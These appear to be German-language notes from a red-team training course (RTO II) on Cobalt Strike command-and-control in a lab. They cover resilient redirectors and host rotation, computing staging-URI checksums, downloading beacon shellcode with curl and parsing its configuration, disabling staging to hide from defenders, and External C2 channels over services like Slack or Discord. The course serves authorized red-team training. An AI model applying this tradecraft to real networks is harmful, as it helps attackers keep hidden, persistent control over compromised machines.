weiterleiten RewriteRule ^.$ https://www.google.com//? [L,R=302] .htaccess END # Man kann anschließend den Inhalt der .htaccess-Datei mit dieser Ausgabe überschreiben und ausprobieren. Wie in der README des Tools angegeben, muss die Ausgabe eventuell noch angepasst werden, damit sie exakt funktioniert — aber der Großteil der Arbeit ist erledigt. Mehrere Redirectors gleichzeitig zu betreiben kann die Widerstandsfähigkeit (Resilienz) unserer C2-Kommunikation erhöhen. Momentan verbindet sich unser Beacon mit nur einer IP, nämlich 10.10.5.39. Ich weiß, dass das ein geschlossenes Labor ist, aber stell dir vor, das wäre eine öffentliche IP, die von einem Domainnamen unterstützt wird, z. B. acmecorp.uk. Wenn unser Ziel diese IP und/oder Domain blockiert, verlieren wir unseren Beacon. Wir können das auf WKSTN-1 simulieren, indem wir eine Blockregel in der Windows-Firewall hinzufügen. ![[12. C2 Resiliency.png]] Passiert das, sind die Beacons im Grunde dauerhaft verloren, weil wir nicht mehr mit ihnen kommunizieren und sie auffordern können, sich an einem anderen Ort einzuloggen. Deshalb müssen wir im Voraus für diesen Fall planen. Zu diesem Zweck haben wir im Labor Redirector 2, der mit einer ähnlichen Apache-Konfiguration wie bisher vorkonfiguriert ist. Verwende denselben Benutzernamen und SSH-Schlüssel, um vom Kali aus einen identischen SSH-Tunnel zu erstellen. Dann geh zurück zur Listener-Konfiguration in Cobalt Strike und füge die IP-Adresse von Redirector 2 im Feld für HTTP Hosts hinzu. Es gibt außerdem eine Host-Rotations-Strategie, die man ändern kann. Es gibt vier Hauptarten: round-robin: verwendet jeden Host (von oben nach unten) in einer Schleife.
random: wählt bei jeder Verbindung einen zufälligen Host aus.
failover: verwendet einen Host, bis eine bestimmte Anzahl aufeinanderfolgender Fehler erreicht ist, dann wird zum nächsten gewechselt.
rotate: verwendet jeden Host für eine festgelegte Zeit, dann wird zum nächsten gewechselt. ![[13. C2 Resiliency.png]] Wähle die beste Strategie abhängig von deinen operativen Anforderungen. Du kannst sogar mehrere Team Server betreiben, deren Listener mit unterschiedlichen Rotationsstrategien konfiguriert sind, um Kurzstrecken- und Langstrecken-C2 zu unterstützen. Entferne das aktuell gehostete Payload und generiere ein neues, damit die neue Listener-Konfiguration übernommen wird. Deaktiviere die Windows-Firewall-Regel auf WKSTN-1 (damit die Blockade aufgehoben ist) und führe das neue Payload aus. Sobald der neue Beacon sich meldet, aktiviere die Firewall-Regel wieder – dann werden die Check-ins wie zuvor stoppen. Die Check-in-Zeit dieses Profils beträgt 5 Sekunden, also dauern 5 aufeinanderfolgende Fehlschläge 5 x 5 = 25 Sekunden. Nach etwa 30 Sekunden (25 plus die nächste Schlafphase) sollte der Beacon wieder auftauchen. Wie viele Frameworks da draußen ist auch Cobalt Strike in der Lage, sowohl gestaffelte (staged) als auch nicht-gestaffelte (stageless) Payloads zu erzeugen. Hier wird vorausgesetzt, dass du den Unterschied zwischen beiden kennst. Falls nicht, suche einfach mal nach „staged vs stageless payloads“ oder ähnlichem in deiner Lieblingssuchmaschine. Gestaffelte Payloads kannst du unter Attacks > Packages > Payload Generator und Attacks > Packages > Windows Executable erzeugen. In der Praxis verwenden wir meistens keine gestaffelten Payloads, weil sie eine schlechte OPSEC (Operationssicherheit) haben. Dennoch unterstützt der Cobalt Strike Teamserver standardmäßig diesen Staging-Prozess. Wenn du eine gestaffelte Payload startest, siehst du einen Eintrag im Web-Log. Dabei fragt der Stager den Teamserver nach der vollständigen Payload-Stufe. Mit dem Profil webbug_getonly sieht das so aus: 11/08 11:26:33 visit (port 443) from: 127.0.0.1 Request: GET /init.gif beacon beacon stager x64 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC) Es gibt unterschiedliche URIs für x86- und x64-Stager, die im Block http-stager definiert sind: http-stager { set uri_x86 "/_init.gif"; set uri_x64 "/init.gif"; … } Wenn dein malleable C2-Profil diesen Block nicht explizit definiert, fällt Cobalt Strike auf das Standardverhalten zurück, das eine scheinbar zufällige vierstellige URI verwendet: 11/08 11:35:51 visit (port 443) from: 127.0.0.1 Request: GET /mQNQ/ beacon beacon stager x64 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; BOIE8;ENUS) Die zurückgelieferte Ressource ist der vollständige Beacon-Shellcode, der dann vom Stager geladen wird. Die URI-Zeichen sind nicht wirklich zufällig, sondern entsprechen einer 8-Bit-Prüfsumme (Checksum). Wenn der Teamserver die Anfrage erhält, dann: Wandelt er jedes Zeichen in seine ganzzahlige ASCII-Repräsentation um.
Addiert diese Werte.
Teilt die Summe durch 256 und prüft den Rest.
Ist der Rest 92, handelt es sich um eine x86-Anfrage.
Ist der Rest 93, handelt es sich um eine x64-Anfrage. Probieren wir das manuell an mQNQ aus: ASCII Dezimalwerte: 109 81 78 81 109 + 81 + 78 + 81 = 349
349 / 256 = 1,36328125
0,36328125 * 256 = 93 Dieser Vorgang kann automatisiert werden, um „zufällige“ URIs für die Staging-Anfragen zu generieren. Ein Dank geht an James D für folgenden Python-Code (liegt bereits auf der Angreifer-Linux-VM unter /home/ubuntu/checksum-generator.py): ubuntu@teamserver ~> ./checksum-generator.py Generated x86 URI: /8Sfk Generated x64 URI: /CWzI Warum ist das problematisch? Die Anfrage ist komplett unauthentifiziert und kann von jedem beliebigen Ort oder Nutzer gestellt werden, nicht nur von einem legitimen CS-Stager. Beispielsweise kann man den gesamten Shellcode mit curl herunterladen: C:\Users\Administrator\Desktop>curl -k https://10.10.0.69/CWzI -A "not curl :)" -o shellcode.bin % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 259k 100 259k 0 0 259k 0 0:00:01 --:--:-- 0:00:01 1854k 05/29 08:51:02 visit (port 443) from: 10.10.0.252 Request: GET /CWzI/ beacon beacon stager x64 not curl :) Der Befehl nutzt curl.exe aus C:\Program Files (x86)\curl-7.83.1_3-win64-mingw\bin, nicht das PowerShell-Alias für Invoke-WebRequest. Beacon-Parser (wie z. B. CobaltStrikeParser von Sentinel-One) können diesen Shellcode lesen und dir alle wichtigen Informationen darüber anzeigen. Kopiere die Shellcode-Datei zuerst auf die Angreifer-Linux-VM: PS C:\Users\Administrator\Desktop> pscp -i ssh.ppk shellcode.bin ubuntu@10.10.0.69:/home/ubuntu/. shellcode.bin | 259 kB | 259.6 kB/s | ETA: 00:00:00 | 100% ubuntu@teamserver ~> python3 CobaltStrikeParser/parse_beacon_config.py shellcode.bin BeaconType - HTTPS Port - 443 SleepTime - 5000 MaxGetSize - 1048616 Jitter - 0 MaxDNS - Not Found PublicKey_MD5 - c8b0b9d814ec7139ad7b8462c4047ff0 C2Server - 10.10.5.39,/_utm.gif,10.10.5.246,/_utm.gif UserAgent - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MALC) HttpPostUri - /utm.gif Malleable_C2_Instructions - Remove 15 bytes from the beginning Remove 15 bytes from the beginning Remove 10 bytes from the beginning HttpGet_Metadata - ConstParams utmac=UA-2202604-2 utmcn=1 utmcs=ISO-8859-1 utmsr=1280x1024 utmsc=32-bit utmul=en-US Metadata base64url prepend "utma" parameter "utmcc" Das gibt Verteidigern sehr viele Informationen über deine Kampagne, die ihnen helfen, sehr effektiv zu reagieren. Zum Beispiel werden alle Redirector-IP-Adressen oder Domains, das Traffic-Profil und Post-Exploitation-Konfigurationen offengelegt. Der Einsatz von Redirectors kann das Risiko verringern, dass diese Staging-URIs erreichbar sind, aber da Stager sowieso meist nicht genutzt werden, ist die sicherste Methode, sie komplett zu deaktivieren. Das geht, indem du folgende Zeile in den globalen Optionen deines C2-Profils hinzufügst: set host_stage "false"; Starte den Teamserver neu, damit die Änderung wirksam wird. Nun geben alle Staging-Anfragen einen 404-Fehler zurück: C:\Users\Administrator\Desktop>curl -v -k https://10.10.0.69/CWzI -A "not curl :)" < HTTP/1.1 404 Not Found < Date: Sun, 29 May 2022 09:02:24 GMT < Content-Type: text/plain < Content-Length: 0 < Cobalt Strike unterstützt Third-Party Command-and-Control, indem es externen Komponenten erlaubt, als Kommunikationsschicht zwischen dem Team Server und einer Beacon-Payload zu fungieren. Grundsätzlich senden sich der Team Server und die Beacon Frames, die in irgendeinem Transportmechanismus verpackt sind. Standardmäßig kann CS das über HTTP, DNS, TCP und SMB, aber es spricht nichts dagegen, diese Frames auch über etwas anderes zu kapseln. Genau das ermöglicht External C2. Konzeptionell kann das so aussehen: ![[14. External C2.png]] Wenn ein External C2 „Listener“ gestartet wird, öffnet dieser einen Port (standardmäßig 2222) auf dem Team Server. Ein Drittanbieter-Controller kann sich über TCP mit diesem Port verbinden und Daten austauschen. Ein Drittanbieter-Client kommuniziert mit dem Controller über beliebige Wege, die sich der Operator ausdenkt. Das kann direkt über ein Protokoll wie HTTP, DNS, SSH, FTP usw. erfolgen (alles, was der Operator weiß, dass es das Zielnetzwerk verlassen darf). Es kann aber auch indirekt über legitime externe Dienste passieren, z. B. Office365, Slack, Google Drive usw. – oder sogar eine Kombination davon. Die einzige Voraussetzung ist, dass die beiden Komponenten irgendwie Daten austauschen können. Der Client fordert beim Controller eine neue Beacon-Stufe an, und der Controller leitet diese Anfrage an den Team Server weiter. Der Team Server liefert dem Controller eine SMB-Beacon, die dann an den Client weitergereicht wird. Der Client lädt die Beacon dann in den Speicher und verbindet sich mit ihrer Named Pipe. Danach läuft ein einfacher Prozess des Hin- und Hersendens von Frames ab. Der Ablauf sieht so aus: ![[15. External C2.png]] Die External C2 Specification liefert die Details auf niedriger Ebene, z. B. die Struktur der Beacon-Frames, und ist auf jeden Fall lesenswert. Es gibt auch mehrere Bibliotheken, die diese Spezifikation implementieren, die du nutzen kannst, um eigene Controller- und Client-Anwendungen zu bauen. Einige bekannte sind: https://github.com/Und3rf10w/external_c2_framework (Python)
https://github.com/outflanknl/external_c2 (C++) Hier ein unterhaltsames Beispiel für External C2 über Discord: https://www.youtube.com/watch?v=OB4Xk2bCaes Wenn du das Kurs- und Labor-Bundle gekauft hast, kannst du auf das RTO II Lab über das Snap Labs Dashboard zugreifen, wo du ein "Red Team Ops II Lab"-Event siehst.     Wenn du auf dieses Event klickst, hast du die Möglichkeit, das Lab zu starten. Während des ersten Starts versuche nicht, das Lab herunterzufahren, bevor der Gesamtstatus des Labs und der Status jeder einzelnen VM auf Running steht. Sobald alles läuft, kannst du auf die VM-Konsolen über das kleine Monitor-Symbol zugreifen. Die AdminBox muss laufen, um Zugriff auf die VMs zu bekommen. Zusätzliche Laborzeit kann über diese Seite erworben werden. Der primäre Support-Kanal ist über den Zero-Point Security Discord erreichbar. Du kannst dich dem privaten Student*innen-Kanal hinzufügen, indem du den !roles-Befehl benutzt (vorausgesetzt, HAL streikt nicht gerade). Es gibt außerdem den Red Team Operators Community-Bereich, der für alle offen ist, die sowohl für RTO als auch RTO II eingeschrieben sind.